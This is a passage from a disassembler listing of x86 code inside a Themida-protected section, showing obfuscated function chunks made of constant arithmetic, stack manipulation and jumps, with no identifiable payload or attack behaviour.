		mov	ecx, edi
		pop	edi
		add	ecx, 10931F0Ah
		xor	[esp+arg_0], ecx
		mov	ecx, [esp+0]
		jmp	loc_596761
; END OF FUNCTION CHUNK	FOR sub_592586
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FC5


loc_5A0ADB:				; CODE XREF: sub_591FC5+104C0j
		neg	ah
		jmp	loc_5A463D
; END OF FUNCTION CHUNK	FOR sub_591FC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A0AE2:				; CODE XREF: sub_59390B+8DF4j
		pop	ecx
		or	eax, 1AE26959h
		jmp	loc_59B65D
; ---------------------------------------------------------------------------


loc_5A0AED:				; CODE XREF: sub_59390B+B2B9j
		pop	edi
		and	edx, ebx
		pop	ebx
		shr	edx, 1
		jmp	loc_5A5416
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_59D32E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A0B07:				; CODE XREF: sub_59390B-166Ej
		xor	ecx, ebx
		jmp	loc_5A2097
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A0B0E:				; CODE XREF: Themida_:0059BC79j
		add	esi, edi
		sub	esi, 51C16F87h
		pop	edi
		push	ecx
		jmp	loc_5A0BC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F4E7


loc_5A0B1D:				; CODE XREF: sub_59F4E7-405Dj
		pop	esp
		jmp	loc_5999B2
; END OF FUNCTION CHUNK	FOR sub_59F4E7
; ---------------------------------------------------------------------------
		db 66h
		dd 68240C8Bh, 0B68h, 83243489h,	0BAE904ECh
		db 65h,	2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A958


loc_5A0B37:				; CODE XREF: sub_59A958+74B3j
		pop	ebp
		push	7B9Ch
		mov	[esp+0], esi
		push	dword ptr [esp+0]
		mov	edi, [esp+4+var_4]
		push	ebx
		push	esp
		pop	ebx
		push	eax
		jmp	loc_59E2B8
; END OF FUNCTION CHUNK	FOR sub_59A958
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0733


loc_5A0B4F:				; CODE XREF: sub_5A0733-3FEEj
		pop	eax
		add	edi, 26C61C16h
		sub	eax, edi
		pop	edi
		mov	ebp, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_598C56
; END OF FUNCTION CHUNK	FOR sub_5A0733
; ---------------------------------------------------------------------------


loc_5A0B64:				; CODE XREF: Themida_:0059F9DBj
		mov	[esp], eax
		push	esi
		mov	esi, 10B341F0h
		jmp	loc_59DB16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A113A


loc_5A0B72:				; CODE XREF: sub_5A113A-28CDj
		push	4F07h
		mov	[esp+1Ch+var_1C], esi
		mov	esi, 4
		add	edx, esi
		jmp	loc_59FAB3
; END OF FUNCTION CHUNK	FOR sub_5A113A
; ---------------------------------------------------------------------------


loc_5A0B86:				; CODE XREF: Themida_:005968A5j
		mov	[esp], edi
		mov	edi, 3150290h
		not	edi
		and	edi, 726B6290h
		neg	edi
		shl	edi, 5
		sub	edi, 9B81FA00h
		sub	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 4ABB31FEh
		sub	ebp, 7ED02B3Eh
		shr	ebp, 1
		xor	ebp, 4369E5F2h
		and	ecx, ebp
		jmp	loc_59859C
; ---------------------------------------------------------------------------


loc_5A0BC4:				; CODE XREF: Themida_:005A0B18j
		push	ebx
		mov	ebx, 4
		push	ebx
		pop	ecx
		jmp	loc_5A1E59
; ---------------------------------------------------------------------------


loc_5A0BD1:				; CODE XREF: Themida_:00595C10j
		or	ecx, eax
		pop	eax
		push	ecx
		jmp	loc_5A2078
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B019


loc_5A0BDA:				; CODE XREF: sub_59B019-5BDBj
		pop	esp
		add	esp, 4
		push	edx
		mov	edx, 2
		add	ebx, edx
		pop	edx
		push	ebx
		push	[esp-4+arg_4]
		mov	ebx, [esp+0]
		jmp	loc_593BB4
; END OF FUNCTION CHUNK	FOR sub_59B019
; ---------------------------------------------------------------------------


loc_5A0BF4:				; CODE XREF: Themida_:005A5A31j
		mov	ecx, 7BE50B68h
		jmp	loc_592983

; =============== S U B	R O U T	I N E =======================================



sub_5A0BFE	proc near		; CODE XREF: sub_5A0733-AE31j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00590EB7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00591125 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00591CF4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005971B9 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00597DC8 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005994D1 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059968D SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0059A6CB SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0059D8EA SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0059F8F0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A0A17 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A19E0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A4233 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 005A4A3D SIZE 0000000B BYTES

		push	ebp
		mov	ebp, 2AFD6B59h
		inc	ebp
		shl	ebp, 5
		push	edi
		mov	edi, 41390908h
		xor	ebp, edi
		pop	edi
		shl	ebp, 8
		add	ebp, 35EF3A83h
		push	ecx
		jmp	loc_59A6CB
sub_5A0BFE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A0C20:				; CODE XREF: sub_59390B+753Ej
		pop	edi
		jmp	loc_59A38C
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FCCB


loc_5A0C26:				; CODE XREF: sub_59FCCB-1172j
		sub	bh, 0F6h
		xor	bh, 95h
		add	bh, 0A0h
		mov	ch, 0AFh
		xor	ch, bh
		pop	ebx
		add	bl, ch
		pop	cx
		push	cx
		jmp	loc_594AB6
; END OF FUNCTION CHUNK	FOR sub_59FCCB
; ---------------------------------------------------------------------------


loc_5A0C3F:				; CODE XREF: Themida_:0059BEADj
		xor	bl, 79h
		mov	dl, bl
		pop	ebx
		jmp	loc_5A3D82
; ---------------------------------------------------------------------------


loc_5A0C4A:				; CODE XREF: Themida_:005954CFj
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_590AA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A0C62:				; CODE XREF: sub_59390B+182j
		mov	esi, esp
		push	edi
		mov	edi, 4
		jmp	loc_599E2A
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A0C6F:				; CODE XREF: Themida_:005A1425j
		mov	ecx, edx
		jmp	loc_591540
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A0C76:				; CODE XREF: sub_59390B+CF6Bj
		pop	ebx
		push	[esp-10h+arg_8]
		push	[esp-0Ch+arg_4]
		pop	edx
		add	esp, 4
		sub	esp, 4
		mov	[esp-0Ch+arg_4], ebp
		push	esp
		jmp	loc_59CB2C
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BAD


loc_5A0C93:				; CODE XREF: sub_595BAD+8AA9j
		mov	ebx, edi
		push	[esp-4+arg_0]
		pop	edi
		add	esp, 4
		add	[esp-8+arg_8], 39880D71h
		jmp	loc_590E1F
; END OF FUNCTION CHUNK	FOR sub_595BAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A0CA9:				; CODE XREF: sub_59390B+F1C4j
		push	[esp-8+arg_4]
		pop	edx
		pop	[esp-8+arg_0]
		pop	esp
		jmp	loc_59CAA8
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A0CB7:				; CODE XREF: Themida_:005A4BACj
		sub	edx, 24966B1Bh
		jmp	loc_5A4CB3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59667F


loc_5A0CC2:				; CODE XREF: sub_59667F+C07Ej
		mov	ch, bl
		jmp	loc_59C385
; END OF FUNCTION CHUNK	FOR sub_59667F
; ---------------------------------------------------------------------------


loc_5A0CC9:				; CODE XREF: Themida_:005954BCj
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_59456C
; ---------------------------------------------------------------------------


loc_5A0CE1:				; CODE XREF: Themida_:0059636Bj
		pop	dword ptr [esp]
		xchg	ecx, edx
		not	ecx
		xchg	ecx, edx
		push	5D98h
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		push	edi
		mov	edi, 22A04D43h
		neg	edi
		xor	edi, 3F020ECDh
		dec	edi
		add	edi, 1DA24395h
		jmp	loc_59D3D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591745


loc_5A0D16:				; CODE XREF: sub_591745+872j
		add	esp, 4
		shr	eax, 10h
		xor	eax, ecx
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		jmp	loc_59D239
; END OF FUNCTION CHUNK	FOR sub_591745
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A0D29:				; CODE XREF: sub_59390B+FDEDj
		mov	[esp-10h+arg_8], eax
		push	edi
		push	eax
		push	ebp
		push	6E643985h
		pop	ebp
		neg	ebp
		xor	ebp, 0D6BCCC7Ch
		mov	eax, ebp
		pop	ebp
		mov	edi, eax
		pop	eax
		neg	edi
		add	edi, 1
		shl	edi, 7
		not	edi
		or	edi, 6F822015h
		jmp	loc_59B3A7
; END OF FUNCTION CHUNK	FOR sub_59390B

; =============== S U B	R O U T	I N E =======================================



sub_5A0D58	proc near		; CODE XREF: sub_59390B+45E5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00597584 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00597770 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059C266 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059EC2E SIZE 00000041 BYTES
; FUNCTION CHUNK AT 0059F581 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059F79B SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005A15BC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A3C43 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005A5731 SIZE 00000019 BYTES

		push	ebp
		mov	ebp, 5017518Ah
		push	ebp
		push	6A7904CAh
		pop	ebp
		jmp	loc_5A3C43
sub_5A0D58	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A0D6A:				; CODE XREF: sub_59390B+7BE2j
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5957A3
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A431


loc_5A0D78:				; CODE XREF: sub_59A431+326Ej
		add	eax, ebx
		jmp	loc_5949B8
; END OF FUNCTION CHUNK	FOR sub_59A431
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A0D7F:				; CODE XREF: sub_59390B+CE79j
		push	7AA3h
		jmp	loc_592069
; ---------------------------------------------------------------------------


loc_5A0D89:				; CODE XREF: sub_59390B+11ABAj
		pop	esp
		push	ecx
		push	esp
		pop	ecx
		push	ebp
		mov	ebp, 4
		add	ecx, 6CA078Dh
		add	ecx, 46D70C1Fh
		add	ecx, ebp
		push	eax
		jmp	loc_593EF1
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A0DA7:				; CODE XREF: Themida_:00597057j
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_595BC6
; ---------------------------------------------------------------------------


loc_5A0DBA:				; CODE XREF: Themida_:0059EBCFj
		mov	ecx, 0FB2C8E7Bh
		jmp	loc_5A17E3
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_59B8C0
; ---------------------------------------------------------------------------


loc_5A0DD6:				; CODE XREF: Themida_:0059850Aj
		push	edx
		mov	edx, esp
		sub	esp, 4
		jmp	loc_597526
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A0DE1:				; CODE XREF: sub_59390B+11DD8j
		mov	eax, [esp+8+var_8]
		jmp	loc_5A5503
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A0DE9:				; CODE XREF: Themida_:005977B3j
		add	dword ptr [esp+4], 72EA58E5h
		mov	eax, [esp]
		jmp	loc_5A0580
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590AC5


loc_5A0DF9:				; CODE XREF: sub_590AC5+E51Cj
		pop	[esp-4+arg_0]
		jmp	loc_5A3F5B
; END OF FUNCTION CHUNK	FOR sub_590AC5
; ---------------------------------------------------------------------------


loc_5A0E01:				; CODE XREF: Themida_:00596F2Bj
		mov	ebp, [esp]
		jmp	loc_590D12
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A0E09:				; CODE XREF: sub_59390B+8BFBj
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		push	[esp+0Ch+var_C]
		pop	eax
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	esi
		jmp	loc_597FF7
; ---------------------------------------------------------------------------


loc_5A0E22:				; CODE XREF: sub_59390B-53Dj
		xchg	ecx, [esp+0]
		pop	esp
		add	esp, 4
		add	esp, 4
		push	small 335Bh
		mov	word ptr [esp-0Ah+arg_0+2], dx
		push	ebx
		mov	bl, 3Eh
		mov	dh, bl
		pop	ebx
		push	edx
		jmp	loc_592BA7
; ---------------------------------------------------------------------------


loc_5A0E43:				; CODE XREF: sub_59390B+C89Dj
		and	esi, 4FEF7BC8h
		and	esi, 67636DD2h
		jmp	sub_59F121
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A431


loc_5A0E54:				; CODE XREF: sub_59A431-76B3j
		mov	[esp+14h+var_14], edi
		mov	edi, 7DC2265Ah
		shr	edi, 5
		sub	edi, 0E148ABDBh
		mov	ebp, edi
		mov	edi, [esp+14h+var_14]
		jmp	sub_594DA8
; END OF FUNCTION CHUNK	FOR sub_59A431
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59731A


loc_5A0E6F:				; CODE XREF: sub_59731A+49CAj
		sub	eax, 0B5873926h
		push	eax
		jmp	loc_5A3C37
; END OF FUNCTION CHUNK	FOR sub_59731A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594A8D


loc_5A0E7A:				; CODE XREF: sub_594A8D+7FCj
		sub	ebx, 1
		shr	ebx, 2
		jmp	loc_59C78D
; END OF FUNCTION CHUNK	FOR sub_594A8D
; ---------------------------------------------------------------------------


loc_5A0E85:				; CODE XREF: Themida_:005A09CEj
		sub	ebp, edi
		pop	edi
		add	eax, ebp
		pop	ebp
		add	eax, 49C014D5h
		add	eax, ebx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_59EFC3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A0E9D:				; CODE XREF: sub_59390B+10215j
		push	edi
		mov	edi, 0DE91D06h
		jmp	loc_5A3BAB
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A51EA


loc_5A0EA8:				; CODE XREF: sub_5A51EA-F91Bj
		not	byte ptr [esp+0]
		jmp	loc_597294
; END OF FUNCTION CHUNK	FOR sub_5A51EA
; ---------------------------------------------------------------------------


loc_5A0EB0:				; CODE XREF: Themida_:0059EDC8j
		xchg	ecx, [esp]
		jmp	loc_5A4AA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A0EB8:				; CODE XREF: sub_59390B+491Aj
		push	7489h
		mov	[esp+10h+var_10], esi
		jmp	loc_595EF2
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F4D4


loc_5A0EC5:				; CODE XREF: sub_59F4D4+6j
		dec	ebx
		jmp	loc_593990
; END OF FUNCTION CHUNK	FOR sub_59F4D4
; ---------------------------------------------------------------------------


loc_5A0ECB:				; CODE XREF: Themida_:0059C168j
		sub	eax, 329E008Bh
		add	eax, ebx
		add	eax, 329E008Bh
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		push	ebx
		jmp	loc_594F7D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A0EE7:				; CODE XREF: sub_59390B+1996j
		mov	ecx, eax
		mov	esi, ecx
		pop	ecx
		pop	eax
		jmp	loc_59CEEC
; ---------------------------------------------------------------------------


loc_5A0EF2:				; CODE XREF: sub_59390B+342j
		xchg	esi, [esp-18h+arg_10]
		mov	esp, [esp-18h+arg_10]
		mov	[esp-18h+arg_10], edx
		push	eax
		pushf
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A0F02:				; CODE XREF: Themida_:00591826j
		sub	ecx, 1C28162Fh
		add	ecx, 296B730Bh
		mov	edi, [esp]
		add	esp, 4
		add	ecx, edi
		add	ecx, 1A687C32h
		push	edx
		push	ebx
		mov	ebx, 32B14215h
		or	ebx, 36B125DAh
		and	ebx, 2A863E29h
		or	ebx, 12D81386h
		sub	ebx, 0FFFFFFFFh
		shr	ebx, 1
		add	ebx, 0E693E438h
		mov	edx, ebx
		pop	ebx
		jmp	loc_59B379
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CAFB


loc_5A0F4B:				; CODE XREF: sub_59CAFB+2875j
		push	6B65h
		jmp	loc_5A13B9
; END OF FUNCTION CHUNK	FOR sub_59CAFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BF22


loc_5A0F55:				; CODE XREF: sub_59BF22+12j
		push	eax
		mov	eax, 4
		sub	[esp+0Ch+var_8], 5F264CBCh
		add	[esp+0Ch+var_8], eax
		push	edi
		mov	edi, 5F264CBCh
		jmp	loc_59F628
; END OF FUNCTION CHUNK	FOR sub_59BF22
; ---------------------------------------------------------------------------


loc_5A0F72:				; CODE XREF: Themida_:0059AEA4j
		sub	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_5A529C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A0F83:				; CODE XREF: sub_59390B-2A7j
		push	1993h
		mov	[esp+0], esi
		mov	esi, 3AFA0A40h
		add	edi, esi
		pop	esi
		shl	edi, 8
		neg	edi
		jmp	loc_59DA5E
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A0F9D:				; CODE XREF: Themida_:005960B8j
		add	esi, 161B44AFh
		jmp	loc_591BE5
; ---------------------------------------------------------------------------


loc_5A0FA8:				; CODE XREF: Themida_:00596112j
		mov	eax, 19E69D2h
		jmp	loc_59D274
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A431


loc_5A0FB2:				; CODE XREF: sub_59A431-7164j
		pop	[esp+10h+var_10]
		jmp	loc_59ABBE
; END OF FUNCTION CHUNK	FOR sub_59A431
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59338E


loc_5A0FBA:				; CODE XREF: sub_59338E+28j
		pop	ebx
		add	edx, 244363B3h
		add	edx, 562C1AF7h
		add	edx, ebp
		sub	edx, 562C1AF7h
		jmp	loc_595F3E
; END OF FUNCTION CHUNK	FOR sub_59338E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5995FC


loc_5A0FD4:				; CODE XREF: sub_5995FC+3F42j
		shr	dl, 3
		push	ecx
		mov	ch, 7Ah
		shl	ch, 3
		and	ch, 1
		and	ch, 0E3h
		push	bx
		mov	bl, 0F7h
		xor	ch, bl
		jmp	loc_5A1439
; END OF FUNCTION CHUNK	FOR sub_5995FC
; ---------------------------------------------------------------------------


loc_5A0FEE:				; CODE XREF: Themida_:00597129j
		push	ebp
		mov	ebp, 5BAB19E5h
		add	ebp, 0A80BF0B2h
		jmp	loc_595ECC
; ---------------------------------------------------------------------------


loc_5A0FFF:				; CODE XREF: Themida_:005A3281j
		add	esp, 4
		sub	eax, ebp
		push	ebp
		mov	ebp, 13FF74C4h
		add	eax, 5EDA65DFh
		add	eax, ebp
		sub	eax, 5EDA65DFh
		pop	ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	esi
		push	5D905EA7h
		pop	esi
		xchg	ecx, esi
		not	ecx
		xchg	ecx, esi
		push	587Ch
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4CE32B8Ch
		mov	edi, ebp
		pop	ebp
		sub	esi, edi
		mov	edi, [esp]
		add	esp, 4
		and	esi, 4553569Fh
		push	esi
		jmp	loc_59BB55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59333E


loc_5A1055:				; CODE XREF: sub_59333E-502j
		pop	ebx
		push	ebp
		jmp	loc_59D4B6
; END OF FUNCTION CHUNK	FOR sub_59333E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A105C:				; CODE XREF: sub_59390B+1416j
		pop	eax
		push	ebx
		mov	bh, 84h
		push	edx
		push	ebx
		mov	bl, 0EFh
		jmp	loc_59E5CA
; ---------------------------------------------------------------------------


loc_5A1069:				; CODE XREF: sub_59390B+E61Bj
		add	esp, 4
		push	[esp+12h+var_14+2]
		pop	edx
		add	esp, 4
		jmp	loc_59C979
; ---------------------------------------------------------------------------


loc_5A107B:				; CODE XREF: sub_59390B-F14j
		pop	edx
		add	esp, 4
		xor	ah, 0F7h
		add	ah, 3Dh
		push	edx
		jmp	loc_5A3183
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFD4


loc_5A108B:				; CODE XREF: sub_59CFD4+3AA5j
		or	edi, 736F3DBDh
		shr	edi, 3
		add	edi, 68BA2EE5h
		xor	ecx, edi
		pop	edi
		shr	ecx, 8
		jmp	loc_592740
; END OF FUNCTION CHUNK	FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B2AF


loc_5A10A5:				; CODE XREF: sub_59B2AF+DCj
		push	ecx
		mov	ecx, 9CC3F13h
		jmp	loc_59CDCA
; END OF FUNCTION CHUNK	FOR sub_59B2AF
; ---------------------------------------------------------------------------


loc_5A10B0:				; CODE XREF: Themida_:00596A76j
		pop	edi
		push	ebp
		jmp	loc_59F64F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A10B7:				; CODE XREF: sub_59390B+667Aj
		mov	esi, [esp+14h+var_14]
		push	ebx
		mov	ebx, esp
		jmp	loc_5A29A2
; ---------------------------------------------------------------------------


loc_5A10C2:				; CODE XREF: sub_59390B+170j
		neg	edi
		jmp	loc_590DF4
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A10C9:				; CODE XREF: Themida_:005A4C89j
		sub	al, 12h
		jmp	loc_5A4E6E
; ---------------------------------------------------------------------------


loc_5A10D0:				; CODE XREF: Themida_:0059C1A6j
		push	eax
		mov	ah, 0DAh
		xor	ah, 84h
		jmp	loc_59BC18
; ---------------------------------------------------------------------------


loc_5A10DB:				; CODE XREF: Themida_:00596E5Fj
		mov	edx, 46F7741h
		sub	ecx, edx
		pop	edx
		jmp	loc_5A55DF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A10E8:				; CODE XREF: sub_59390B+47B7j
		pop	ax
		xor	al, dh
		mov	edx, [esp+0Eh+var_10+2]
		add	esp, 4
		jmp	loc_59D2AA
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFD4


loc_5A10F7:				; CODE XREF: sub_59CFD4-121j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0Ch+var_C]
		pop	esp
		push	[esp+8+var_8]
		pop	ecx
		add	esp, 4
		add	ecx, 5FF478BFh
		push	137Bh
		mov	[esp+8+var_8], esi
		push	5DDFh
		mov	[esp+0Ch+var_C], edi
		push	ebp
		mov	ebp, 7F690717h
		push	691Eh
		jmp	loc_590E81
; END OF FUNCTION CHUNK	FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CAFB


loc_5A1132:				; CODE XREF: sub_59CAFB+595Bj
		mov	ebp, [esp+8+var_8]
		jmp	loc_5A5B04
; END OF FUNCTION CHUNK	FOR sub_59CAFB

; =============== S U B	R O U T	I N E =======================================



sub_5A113A	proc near		; DATA XREF: Themida_:00590A4Co

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= word ptr  4

; FUNCTION CHUNK AT 005919C9 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00593429 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059A160 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059C129 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0059E85C SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059EE47 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059F811 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059FAB3 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A0B72 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A224C SIZE 00000032 BYTES
; FUNCTION CHUNK AT 005A3540 SIZE 0000000B BYTES

		mov	cx, [esp+0]
		push	4757h
		mov	[esp+4+var_4], ebx
		push	esp
		mov	ebx, [esp+8+var_8]
		jmp	loc_593429
sub_5A113A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A114F:				; CODE XREF: sub_59390B+E379j
		mov	esp, [esp+0Ah+var_C+2]
		sub	ebx, 61B8570Dh
		add	ebx, ecx
		push	edx
		mov	edx, 7FA0228Fh
		jmp	loc_59112D
; ---------------------------------------------------------------------------


loc_5A1165:				; CODE XREF: sub_59390B+3C32j
		add	esp, 4
		pop	ebx
		add	ebx, 4
		push	edi
		mov	edi, 4
		add	ebx, edi
		mov	edi, [esp-14h+arg_C]
		add	esp, 4
		xor	ebx, [esp-18h+arg_10]
		xor	[esp-18h+arg_10], ebx
		xor	ebx, [esp-18h+arg_10]
		mov	esp, [esp-18h+arg_10]
		push	eax
		push	4F43h
		jmp	loc_5A046E
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A1194:				; CODE XREF: Themida_:00598CA6j
		pop	eax
		push	ebx
		mov	bh, 30h
		jmp	loc_597BB9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0060


loc_5A119D:				; CODE XREF: sub_5A0060-2566j
		mov	ecx, 258508EAh
		add	ecx, 1
		neg	ecx
		or	ecx, 20184E38h
		xor	ecx, 0FA7AFF39h
		mov	edi, ecx
		pop	ecx
		jmp	loc_59ED29
; END OF FUNCTION CHUNK	FOR sub_5A0060
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A11BB:				; CODE XREF: sub_59390B+8486j
		push	eax
		mov	eax, 1FAB08B4h
		add	ebp, eax
		pop	eax
		jmp	loc_5A4BFC
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A11C9:				; CODE XREF: Themida_:0059F956j
		mov	[esp], esp
		jmp	loc_59DCBA
; ---------------------------------------------------------------------------


loc_5A11D1:				; CODE XREF: Themida_:0059E061j
		add	edx, 30563FA0h
		pop	esi
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_5A243B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A11EB:				; CODE XREF: sub_59390B-113j
		pop	cx
		jmp	loc_594333
; ---------------------------------------------------------------------------


loc_5A11F2:				; CODE XREF: sub_59390B+C298j
		mov	edx, [esp+10h+var_10]
		push	esi
		mov	esi, esp
		jmp	loc_59AB91
